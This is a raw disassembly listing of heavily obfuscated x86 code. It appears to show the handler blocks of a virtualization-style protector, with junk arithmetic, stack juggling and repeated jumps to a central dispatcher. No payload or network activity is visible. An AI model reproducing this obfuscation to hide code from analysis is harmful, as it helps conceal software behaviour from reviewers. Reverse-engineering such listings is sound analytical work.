		xor	ecx, ebx
		jmp	loc_57B6DB
; ---------------------------------------------------------------------------


loc_57AA36:				; CODE XREF: ud2_____:0057B552j
		mov	esi, 50C551B2h
		dec	esi
		add	esi, 50BF1238h
		jmp	loc_57AD09
; ---------------------------------------------------------------------------


loc_57AA47:				; CODE XREF: ud2_____:00574230j
		pop	ebx
		xor	ebx, 7BDD7BE6h
		neg	ebx
		sub	ebx, 8687B51Ch
		mov	edi, ebx
		jmp	loc_578386
; ---------------------------------------------------------------------------


loc_57AA5D:				; CODE XREF: ud2_____:0057AE83j
		push	713Bh
		mov	[esp], eax
		push	4
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5799D0
; ---------------------------------------------------------------------------


loc_57AA78:				; CODE XREF: ud2_____:00571B25j
		push	ebx
		pop	edx
		pop	ebx
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [eax]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57AA89:				; CODE XREF: ud2_____:0057B819j
		not	dword ptr [esp]
		pop	ebp
		sub	ebp, 0ECC1E592h
		or	ecx, ebp
		pop	ebp
		shl	ecx, 1
		push	eax
		jmp	loc_5778BB
; ---------------------------------------------------------------------------


loc_57AA9E:				; CODE XREF: ud2_____:00578CFDj
		mov	[esp], eax
		push	766Fh
		jmp	loc_5780A2
; ---------------------------------------------------------------------------


loc_57AAAB:				; CODE XREF: ud2_____:0057AED2j
		push	4E5Eh
		jmp	loc_57BBB1
; ---------------------------------------------------------------------------


loc_57AAB5:				; CODE XREF: ud2_____:0057825Dj
		push	dword ptr [esp]
		jmp	loc_573930
; ---------------------------------------------------------------------------


loc_57AABD:				; CODE XREF: ud2_____:005743FEj
		xor	esi, edx
		xchg	eax, edx
		jmp	loc_57253F
; ---------------------------------------------------------------------------


loc_57AAC5:				; CODE XREF: ud2_____:0057237Dj
		mov	edx, 4
		sub	eax, edx
		pop	edx
		push	6326h
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	8000h
		push	dword ptr [esp]
		jmp	loc_5721DE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_57D3ED
; ---------------------------------------------------------------------------


loc_57AB10:				; CODE XREF: ud2_____:0057B1DFj
		mov	[esp], edx
		mov	edx, 452F0CCBh
		jmp	loc_5759AB
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_579C92
; ---------------------------------------------------------------------------


loc_57AB26:				; CODE XREF: ud2_____:00578453j
		push	eax
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_57D5D6
; ---------------------------------------------------------------------------


loc_57AB34:				; CODE XREF: ud2_____:00579831j
		mov	[esp], ecx
		jmp	loc_577D84
; ---------------------------------------------------------------------------


loc_57AB3C:				; CODE XREF: ud2_____:005766B4j
		push	ebx
		push	edi
		mov	edi, 26152FB9h
		mov	ebx, edi
		pop	edi
		push	edi
		jmp	loc_57D3BD
; ---------------------------------------------------------------------------


loc_57AB4C:				; CODE XREF: ud2_____:0057A6BBj
		add	esi, 4
		push	ebp
		jmp	loc_57208B
; ---------------------------------------------------------------------------


loc_57AB58:				; CODE XREF: ud2_____:0057D70Dj
		add	ecx, 990386B7h
		and	ecx, 205A6387h
		xor	ecx, 55D4637Ch
		mov	ebx, 75DE01DDh
		xor	ebx, ecx
		pop	ecx
		jmp	loc_57326E
; ---------------------------------------------------------------------------


loc_57AB77:				; CODE XREF: ud2_____:0057D498j
		add	ebx, eax
		add	ebx, 5D33447Fh
		pop	eax
		push	ecx
		mov	ecx, 63F801F5h
		or	ecx, 49C62DBh
		dec	ecx
		sub	ecx, 2AC40EBFh
		and	ecx, 4E9C3FF8h
		jmp	loc_57AEA8
; ---------------------------------------------------------------------------


loc_57AB9E:				; CODE XREF: ud2_____:0057A45Dj
		add	ebp, 9091342Bh
		jmp	loc_57C32A
; ---------------------------------------------------------------------------


loc_57ABA9:				; CODE XREF: ud2_____:00579744j
		mov	eax, [esp]
		push	3DC4h
		mov	[esp], ebp
		push	esp
		jmp	loc_571F50
; ---------------------------------------------------------------------------


loc_57ABBA:				; CODE XREF: ud2_____:00575337j
		mov	ecx, 37773D01h
		shl	ecx, 8
		shl	ecx, 7
		shl	ecx, 6
		jmp	loc_57A5B2
; ---------------------------------------------------------------------------


loc_57ABCD:				; CODE XREF: ud2_____:0057BF49j
		shr	ebp, 2
		not	ebp
		push	eax
		mov	eax, 64461290h
		add	eax, 608C5486h
		jmp	loc_572E8A
; ---------------------------------------------------------------------------


loc_57ABE2:				; CODE XREF: ud2_____:00574523j
		xor	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	587Dh
		mov	[esp], esi
		push	esp
		pop	esi
		push	eax
		jmp	loc_578EFE
; ---------------------------------------------------------------------------


loc_57AC00:				; CODE XREF: ud2_____:005773E6j
		mov	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		push	1210h
		mov	[esp], edi
		jmp	loc_57BEEE
; ---------------------------------------------------------------------------


loc_57AC29:				; CODE XREF: ud2_____:00571E17j
		dec	edx
		add	edx, 8F769E83h
		xor	edi, edx
		jmp	loc_57A891
; ---------------------------------------------------------------------------


loc_57AC37:				; CODE XREF: ud2_____:00575FD7j
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 20h
		jmp	loc_577906
; ---------------------------------------------------------------------------


loc_57AC48:				; CODE XREF: ud2_____:00575412j
		add	esp, 2
		jmp	loc_5722FE
; ---------------------------------------------------------------------------


loc_57AC53:				; CODE XREF: ud2_____:0057BAD2j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5785ED
; ---------------------------------------------------------------------------


loc_57AC66:				; CODE XREF: ud2_____:005733D0j
		mov	[esp], ebp
		mov	ebp, 7673480Eh
		sub	eax, ebp
		pop	ebp
		jmp	loc_57BD58
; ---------------------------------------------------------------------------


loc_57AC76:				; CODE XREF: ud2_____:0057517Fj
		mov	dh, cl
		jmp	loc_573F6B
; ---------------------------------------------------------------------------


loc_57AC7D:				; CODE XREF: ud2_____:00572444j
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		jmp	loc_5777A9
; ---------------------------------------------------------------------------


loc_57AC88:				; CODE XREF: ud2_____:0057703Fj
		add	[esp+4], esi
		jmp	loc_57C15E
; ---------------------------------------------------------------------------


loc_57AC91:				; CODE XREF: ud2_____:00577393j
		add	edx, 43FF6C14h
		jmp	loc_57750E
; ---------------------------------------------------------------------------


loc_57AC9C:				; CODE XREF: ud2_____:00572ABCj
		push	esi
		mov	esi, 4
		sub	ebx, 606460D6h
		add	ebx, esi
		jmp	loc_574185
; ---------------------------------------------------------------------------


loc_57ACAF:				; CODE XREF: ud2_____:0057274Aj
		pop	esi
		jmp	loc_5725B3
; ---------------------------------------------------------------------------


loc_57ACB5:				; CODE XREF: ud2_____:00575CF3j
		add	bh, 23h
		add	al, 66h
		sub	al, bh
		sub	al, 66h
		pop	ebx
		add	al, dh
		jmp	loc_573E57
; ---------------------------------------------------------------------------


loc_57ACC6:				; CODE XREF: ud2_____:005793E3j
		add	ebp, 616457F2h
		mov	esi, [esp]
		add	esp, 4
		shl	ebp, 5
		dec	ebp
		push	0B5Fh
		jmp	loc_574F8F
; ---------------------------------------------------------------------------


loc_57ACE3:				; CODE XREF: ud2_____:0057717Dj
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57ACF9:				; CODE XREF: ud2_____:00572510j
		pop	eax
		shl	eax, 4
		xor	eax, 6C24D592h
		add	ebx, eax
		jmp	loc_571BF9
; ---------------------------------------------------------------------------


loc_57AD09:				; CODE XREF: ud2_____:0057AA42j
		xor	esi, 0A18463EDh
		add	ebp, esi
		pop	esi
		jmp	loc_57BB0F
; ---------------------------------------------------------------------------


loc_57AD17:				; CODE XREF: ud2_____:0057D41Fj
		xor	ebp, 15013AA5h
		and	ecx, ebp
		jmp	loc_574558
; ---------------------------------------------------------------------------


loc_57AD24:				; CODE XREF: ud2_____:00577A29j
		or	eax, 750B2129h
		push	0
		sub	[esp], eax
		pop	eax
		xor	eax, 0A5F1B82h
		add	eax, 0C103E651h
		sub	edx, eax
		jmp	loc_57332B
; ---------------------------------------------------------------------------


loc_57AD43:				; CODE XREF: ud2_____:00576489j
		push	4AF2h
		mov	[esp], edi
		jmp	loc_57C05A
; ---------------------------------------------------------------------------


loc_57AD50:				; CODE XREF: ud2_____:00575620j
		pop	edi
		and	edi, 0A425400h
		jmp	loc_57B344
; ---------------------------------------------------------------------------


loc_57AD5C:				; CODE XREF: ud2_____:005755F3j
		shr	ecx, 5
		xor	ecx, 520BD941h
		sub	ebp, ecx
		pop	ecx
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 1CE79F0h
		xor	ecx, 0A706542Ah
		xor	ebx, ecx
		pop	ecx
		push	ebx
		add	dword ptr [esp], 21096ED1h
		pop	edx
		sub	edx, 21096ED1h
		pop	ebx
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5738A2
; ---------------------------------------------------------------------------


loc_57AD9F:				; CODE XREF: ud2_____:005746D1j
		mov	[esp], ebx
		mov	bh, 0A9h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_57C5DB
; ---------------------------------------------------------------------------


loc_57ADB2:				; CODE XREF: ud2_____:00574341j
		mov	ecx, 14FD4EC8h
		mov	eax, ecx
		jmp	loc_57B523
; ---------------------------------------------------------------------------


loc_57ADBE:				; CODE XREF: ud2_____:00577554j
		add	bl, 8Eh
		pop	ax
		push	small 52E1h
		mov	[esp], dx
		mov	dh, 66h
		sub	bl, dh
		mov	dx, [esp]
		add	esp, 2
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_574E6B
; ---------------------------------------------------------------------------


loc_57AE08:				; CODE XREF: ud2_____:00574800j
		mov	[esp], eax
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		jmp	loc_57D4AD
; ---------------------------------------------------------------------------


loc_57AE16:				; CODE XREF: ud2_____:0057201Ej
		and	bh, 0C5h
		shr	bh, 3
		push	dx
		jmp	loc_577820
; ---------------------------------------------------------------------------


loc_57AE23:				; CODE XREF: ud2_____:0057C407j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57AE28:				; CODE XREF: ud2_____:0057B10Ej
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_57C414
; ---------------------------------------------------------------------------


loc_57AE35:				; CODE XREF: ud2_____:0057497Dj
		not	bl
		or	bl, 9Fh
		xor	bl, 37h
		sub	al, bl
		pop	ebx
		jmp	loc_57393C
; ---------------------------------------------------------------------------


loc_57AE45:				; CODE XREF: ud2_____:0057D466j
		neg	ecx
		inc	ecx
		not	ecx
		xor	ecx, 97594E0h
		mov	ebx, ecx
		jmp	loc_57481C
; ---------------------------------------------------------------------------


loc_57AE57:				; CODE XREF: ud2_____:00573B5Ej
		mov	eax, 75985AA1h
		neg	eax
		neg	eax
		inc	eax
		jmp	loc_575B24
; ---------------------------------------------------------------------------


loc_57AE66:				; CODE XREF: ud2_____:005759EDj
		mov	esi, 23AD34C5h
		xor	esi, 70F92663h
		mov	ecx, esi
		jmp	loc_57603D
; ---------------------------------------------------------------------------


loc_57AE78:				; CODE XREF: ud2_____:00572BDDj
		xchg	ebx, [esp]
		jmp	loc_5724BD
; ---------------------------------------------------------------------------


loc_57AE80:				; CODE XREF: ud2_____:005740FBj
		push	edx
		mov	edx, esp
		jmp	loc_57AA5D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_573956
; ---------------------------------------------------------------------------


loc_57AE9A:				; CODE XREF: ud2_____:00578D99j
		mov	cl, 0ABh
		push	ebx
		mov	bl, cl
		mov	dh, bl
		pop	ebx
		pop	ecx
		jmp	loc_571C9C
; ---------------------------------------------------------------------------


loc_57AEA8:				; CODE XREF: ud2_____:0057AB99j
		neg	ecx
		push	eax
		mov	eax, 9214011h
		shl	eax, 5
		shl	eax, 4
		jmp	loc_572AAC
; ---------------------------------------------------------------------------


loc_57AEBB:				; CODE XREF: ud2_____:005770CDj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], dx
		jmp	loc_57959A
; ---------------------------------------------------------------------------


loc_57AEC8:				; CODE XREF: ud2_____:00578FC1j
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_57AAAB
; ---------------------------------------------------------------------------


loc_57AED7:				; CODE XREF: ud2_____:00577768j
		pop	ecx
		shl	esi, 2
		not	esi
		jmp	loc_5769E6
; ---------------------------------------------------------------------------


loc_57AEE2:				; CODE XREF: ud2_____:005777ACj
		idiv	cl
		movzx	cx, ah
		jmp	loc_574A88
; ---------------------------------------------------------------------------


loc_57AEED:				; CODE XREF: ud2_____:005741C3j
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		shl	dword ptr [esp], cl
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57AEFC:				; CODE XREF: ud2_____:00572DE2j
		add	edx, edi
		pop	edi
		add	edx, 33F59F29h
		jmp	loc_57846F
; ---------------------------------------------------------------------------


loc_57AF0A:				; CODE XREF: ud2_____:0057798Aj
		pop	dword ptr [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57AF1B:				; CODE XREF: ud2_____:00572462j
		xor	ah, 0EBh
		sub	bl, ah
		pop	eax
		jmp	loc_579C45
; ---------------------------------------------------------------------------


loc_57AF26:				; CODE XREF: ud2_____:0057C67Fj
		push	edx
		jmp	loc_57A750
; ---------------------------------------------------------------------------


loc_57AF2C:				; CODE XREF: ud2_____:00578978j
		mov	esi, 21D5A36h
		push	eax
		push	ebp
		mov	ebp, 3F072BF8h
		mov	eax, ebp
		jmp	loc_574B4A
; ---------------------------------------------------------------------------


loc_57AF3F:				; CODE XREF: ud2_____:0057A342j
		sub	esi, 4
		push	66DEh
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_577F0A
; ---------------------------------------------------------------------------


loc_57AF56:				; CODE XREF: ud2_____:00578486j
		push	esp
		pop	edx
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 7
		push	477h
		jmp	loc_5725A5
; ---------------------------------------------------------------------------


loc_57AF7E:				; CODE XREF: ud2_____:0057277Ej
		shr	eax, 2
		jmp	loc_57498A
; ---------------------------------------------------------------------------


loc_57AF86:				; CODE XREF: ud2_____:005784D1j
		mov	ecx, 76E6510Ah
		sub	edi, ecx
		pop	ecx
		push	edx
		jmp	loc_57C80B
; ---------------------------------------------------------------------------


loc_57AF94:				; CODE XREF: ud2_____:00571F56j
		mov	[esp], ecx
		jmp	loc_57712B
; ---------------------------------------------------------------------------


loc_57AF9C:				; CODE XREF: ud2_____:00579FA1j
		sub	ch, 0FFh
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 65h
		sub	ah, 0F9h
		jmp	loc_578C8A
; ---------------------------------------------------------------------------


loc_57AFAF:				; CODE XREF: ud2_____:0057452Dj
		xor	ebp, esi
		jmp	loc_57D97D
; ---------------------------------------------------------------------------


loc_57AFB6:				; CODE XREF: ud2_____:0057A8A1j
		neg	ebp
		and	ebp, 381074CFh
		jmp	loc_576DD0
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	1F23h
		jmp	loc_5772B6
; ---------------------------------------------------------------------------


loc_57AFD7:				; CODE XREF: ud2_____:00574E3Dj
		sub	ebx, ecx
		pop	ecx
		add	ebx, 5A225E94h
		jmp	loc_5752D7
; ---------------------------------------------------------------------------


loc_57AFE5:				; CODE XREF: ud2_____:0057241Fj
		pop	dword ptr [esp]
		jmp	loc_5724A7
; ---------------------------------------------------------------------------


loc_57AFED:				; CODE XREF: ud2_____:00575D48j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57B002:				; CODE XREF: ud2_____:00574BA8j
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_57B113
; ---------------------------------------------------------------------------


loc_57B00D:				; CODE XREF: ud2_____:00575720j
		push	ebx
		jmp	loc_572D73
; ---------------------------------------------------------------------------


loc_57B013:				; CODE XREF: ud2_____:00579601j
		pop	eax
		push	edx
		mov	edx, 3F6746A6h
		add	edx, 88CD9F88h
		jmp	loc_5721EF
; ---------------------------------------------------------------------------


loc_57B025:				; CODE XREF: ud2_____:005768FCj
		mov	ebp, esp
		push	edi
		jmp	loc_57242E
; ---------------------------------------------------------------------------


loc_57B02D:				; CODE XREF: ud2_____:00571B14j
		pop	ebp
		mov	edi, ebx
		pop	ebx
		push	esi
		push	eax
		mov	eax, 1ACB4C7Ch
		mov	esi, 21EF0156h
		xor	esi, eax
		pop	eax
		sub	eax, esi
		jmp	loc_575A5D
; ---------------------------------------------------------------------------


loc_57B047:				; CODE XREF: ud2_____:00571C6Aj
		add	esp, 4
		jmp	loc_572A38
; ---------------------------------------------------------------------------


loc_57B04F:				; CODE XREF: ud2_____:0057DCF3j
		push	edx
		mov	dh, ch
		mov	al, dh
		jmp	loc_579948
; ---------------------------------------------------------------------------


loc_57B059:				; CODE XREF: ud2_____:0057D011j
		add	esp, 4
		sub	al, 0EEh
		jmp	loc_57702C
; ---------------------------------------------------------------------------


loc_57B066:				; CODE XREF: ud2_____:00577B77j
		add	edi, esi
		jmp	loc_5743C1
; ---------------------------------------------------------------------------


loc_57B06D:				; CODE XREF: ud2_____:0057C055j
		jmp	loc_574B34
; ---------------------------------------------------------------------------


loc_57B072:				; CODE XREF: ud2_____:00576338j
		add	dword ptr [esp+4], 2A80258Ch
		pop	ebp
		push	eax
		mov	eax, 50BF197Ch
		push	edx
		mov	edx, 63E33797h
		add	[esp+8], edx
		jmp	loc_57699C
; ---------------------------------------------------------------------------
		push	53F2h
		mov	[esp], edx
		push	edi
		push	ebx
		mov	ebx, 0FFFFFBFFh
		jmp	loc_57C2E1
; ---------------------------------------------------------------------------


loc_57B0A4:				; CODE XREF: ud2_____:0057C080j
		push	edi
		jmp	loc_5737DA
; ---------------------------------------------------------------------------


loc_57B0AA:				; CODE XREF: ud2_____:00574AADj
		not	esi
		sub	esi, 1F4C5418h
		add	esi, 0A46BB843h
		mov	eax, esi
		pop	esi
		jmp	loc_572531
; ---------------------------------------------------------------------------


loc_57B0C0:				; CODE XREF: ud2_____:0057364Aj
		mov	dh, 5Ah
		jmp	loc_57D98D
; ---------------------------------------------------------------------------


loc_57B0C7:				; CODE XREF: ud2_____:00572BB4j
		add	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 3B9A4308h
		xor	edx, 3B9A4308h
		add	edx, ecx
		add	eax, [edx]
		jmp	loc_573AB3
; ---------------------------------------------------------------------------


loc_57B0DF:				; CODE XREF: ud2_____:00577310j
		mov	[esp], edx
		jmp	loc_57D242
; ---------------------------------------------------------------------------


loc_57B0E7:				; CODE XREF: ud2_____:00578748j
		mov	[esp], edx
		jmp	loc_5720A6
; ---------------------------------------------------------------------------


loc_57B0EF:				; CODE XREF: ud2_____:00573B99j
		add	ebx, ecx
		pop	ecx
		xor	eax, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_577D0A
; ---------------------------------------------------------------------------


loc_57B0FF:				; CODE XREF: ud2_____:0057767Bj
		mov	esi, 4C594B90h
		jmp	loc_579759
; ---------------------------------------------------------------------------


loc_57B109:				; CODE XREF: ud2_____:005786CCj
		push	4DFFh
		jmp	loc_57AE28
; ---------------------------------------------------------------------------


loc_57B113:				; CODE XREF: ud2_____:0057B008j
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_573B5C
; ---------------------------------------------------------------------------


loc_57B12A:				; CODE XREF: ud2_____:0057893Ej
		mov	ebx, 0DE024062h
		jmp	loc_579843
; ---------------------------------------------------------------------------


loc_57B134:				; CODE XREF: ud2_____:0057D124j
		push	3436039Bh
		jmp	loc_576510
; ---------------------------------------------------------------------------


loc_57B13E:				; CODE XREF: ud2_____:005778A7j
		and	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	3FBBh
		jmp	loc_578975
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	762Bh
		mov	[esp], edx
		push	3A32h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_577ECA
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		push	edi
		push	765D57C0h
		jmp	loc_571B9C
; ---------------------------------------------------------------------------


loc_57B18F:				; CODE XREF: ud2_____:00579E06j
		push	edx
		mov	edx, 44407286h
		xor	ebx, edx
		pop	edx
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_57516F
; ---------------------------------------------------------------------------


loc_57B1A9:				; CODE XREF: ud2_____:0057D578j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_57B6FC
; ---------------------------------------------------------------------------


loc_57B1BB:				; CODE XREF: ud2_____:0057DD48j
		push	esi
		push	edi
		mov	edi, 8F85C64h
		xor	edi, 3E72F86h
		sub	edi, 1D2806EEh
		xor	edi, 21C658B2h
		and	edi, 3961004Fh
		push	2798h
		jmp	loc_57AB10
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57B1F4:				; CODE XREF: ud2_____:00579C48j
		add	bl, dl
		sub	bl, 9Ch
		push	edx
		mov	dl, 0CBh
		add	bl, dl
		pop	edx
		jmp	loc_57D8D4
; ---------------------------------------------------------------------------


loc_57B204:				; CODE XREF: ud2_____:00575B3Dj
		xor	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edx
		jmp	loc_573F97
; ---------------------------------------------------------------------------


loc_57B219:				; CODE XREF: ud2_____:00571ADBj
		sub	al, bh
		jmp	loc_579C6F
; ---------------------------------------------------------------------------


loc_57B220:				; CODE XREF: ud2_____:00572EBAj
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57B23E:				; CODE XREF: ud2_____:00573787j
		add	esi, 4
		jmp	loc_576069
; ---------------------------------------------------------------------------


loc_57B246:				; CODE XREF: ud2_____:00574F8Aj
		push	edx
		mov	edx, 42B33A96h
		add	edx, 0BF28EB4Dh
		xor	ebp, edx
		pop	edx
		and	[edi+1Ch], ebp
		jmp	loc_573A47
; ---------------------------------------------------------------------------


loc_57B25D:				; CODE XREF: ud2_____:0057486Cj
		dec	ebp
		or	ebp, 95144CEh
		jmp	loc_571C8E
; ---------------------------------------------------------------------------


loc_57B269:				; CODE XREF: ud2_____:00577735j
		sub	dl, 0Dh
		jmp	loc_5798E3
; ---------------------------------------------------------------------------


loc_57B271:				; CODE XREF: ud2_____:00572372j
		mov	edx, [esp]
		jmp	loc_57C878
; ---------------------------------------------------------------------------


loc_57B279:				; CODE XREF: ud2_____:0057290Fj
		jmp	loc_571AAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_57B27E:				; CODE XREF: sub_59C59F-22652j
		add	esp, 4
		xor	bh, 0EEh
		jmp	loc_578556
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_57B289:				; CODE XREF: ud2_____:00574AE6j
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 1F390CDFh
		or	edx, 74954FC3h
		jmp	loc_577F64
; ---------------------------------------------------------------------------


loc_57B29D:				; CODE XREF: ud2_____:0057840Dj
		pop	ebp
		or	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_578E4C
; ---------------------------------------------------------------------------


loc_57B2AE:				; CODE XREF: ud2_____:005735D3j
		mov	[esp], esi
		mov	esi, 5C6D5BACh
		jmp	loc_57B75A
; ---------------------------------------------------------------------------


loc_57B2BB:				; CODE XREF: ud2_____:0057A83Fj
		pop	ecx
		xor	bl, dh
		pop	edx
		add	al, bl
		pop	ebx
		push	small 35BDh
		jmp	loc_57B673
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_57B2CB:				; CODE XREF: sub_59C59F-29522j
		mov	cl, dh
		pop	edx
		mov	eax, [esp+2Ch+var_2C]
		jmp	loc_579990
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_57B2D6:				; CODE XREF: ud2_____:005750F5j
		mov	eax, 553B591Dh
		dec	eax
		inc	eax
		xor	eax, 166B4599h
		sub	eax, 2F0AE46Ah
		jmp	loc_5738AD
; ---------------------------------------------------------------------------


loc_57B2EC:				; CODE XREF: ud2_____:00577CA8j
		add	esp, 4
		add	eax, ebp
		pop	ebp
		pop	ecx
		push	37FAh
		mov	[esp], edx
		push	1526h
		mov	[esp], eax
		push	0C0D5F2Fh
		jmp	loc_579487
; ---------------------------------------------------------------------------


loc_57B30D:				; CODE XREF: ud2_____:00574F4Bj
		pop	edi
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_57A9B6
; ---------------------------------------------------------------------------


loc_57B322:				; CODE XREF: ud2_____:00572B4Ej
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_5786D1
; ---------------------------------------------------------------------------


loc_57B330:				; CODE XREF: ud2_____:0057248Bj
		add	eax, 4
		push	ebx
		mov	ebx, 3AB83C98h
		not	ebx
		neg	ebx
		jmp	loc_577D47
; ---------------------------------------------------------------------------


loc_57B344:				; CODE XREF: ud2_____:0057AD57j
		neg	edi
		neg	edi
		push	ebx
		push	edx
		mov	edx, 26A44423h
		mov	ebx, edx
		pop	edx
		jmp	loc_576ABD
; ---------------------------------------------------------------------------


loc_57B357:				; CODE XREF: ud2_____:005756BEj
		push	467Fh
		mov	[esp], ebp
		push	esp
		jmp	loc_573082
; ---------------------------------------------------------------------------


loc_57B365:				; CODE XREF: ud2_____:00571D1Cj
		add	esp, 4
		sub	edi, 6C20E383h
		jmp	loc_578BF7
; ---------------------------------------------------------------------------


loc_57B376:				; CODE XREF: ud2_____:0057A93Cj
		sub	esp, 4
		jmp	loc_5758F5
; ---------------------------------------------------------------------------


loc_57B381:				; CODE XREF: ud2_____:0057C6C3j
		mov	ch, 2Bh
		and	al, ch
		pop	cx
		xor	al, 68h
		shl	al, 1
		add	al, 87h
		add	al, 8
		add	al, 0FFh
		push	cx
		mov	ch, 69h
		xor	al, ch
		pop	cx
		push	ecx
		jmp	loc_57890B
; ---------------------------------------------------------------------------


loc_57B39F:				; CODE XREF: ud2_____:00572621j
		sub	eax, 67114FFEh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_57500F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_577579
; ---------------------------------------------------------------------------


loc_57B3BE:				; CODE XREF: ud2_____:0057C2B5j
		add	esp, 4
		push	216Fh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		push	1A7D2669h
		pop	ecx
		neg	ecx
		push	2C9Dh
		mov	[esp], ebx
		mov	ebx, 0
		sub	ebx, ecx
		push	ebx
		push	ecx
		mov	ecx, 19BD32BEh
		xor	[esp+4], ecx
		pop	ecx
		jmp	loc_5787F5
; ---------------------------------------------------------------------------


loc_57B3F7:				; CODE XREF: ud2_____:00579638j
		push	4B80h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_575BBB
; ---------------------------------------------------------------------------


loc_57B424:				; CODE XREF: ud2_____:00579909j
		push	ecx
		jmp	loc_575867
; ---------------------------------------------------------------------------


loc_57B42A:				; CODE XREF: ud2_____:00576327j
		add	dh, 1
		sub	dh, al
		jmp	loc_572BCF
; ---------------------------------------------------------------------------


loc_57B434:				; CODE XREF: ud2_____:005787B2j
		mov	edi, ecx
		push	edi
		pop	eax
		pop	edi
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	ebp, eax
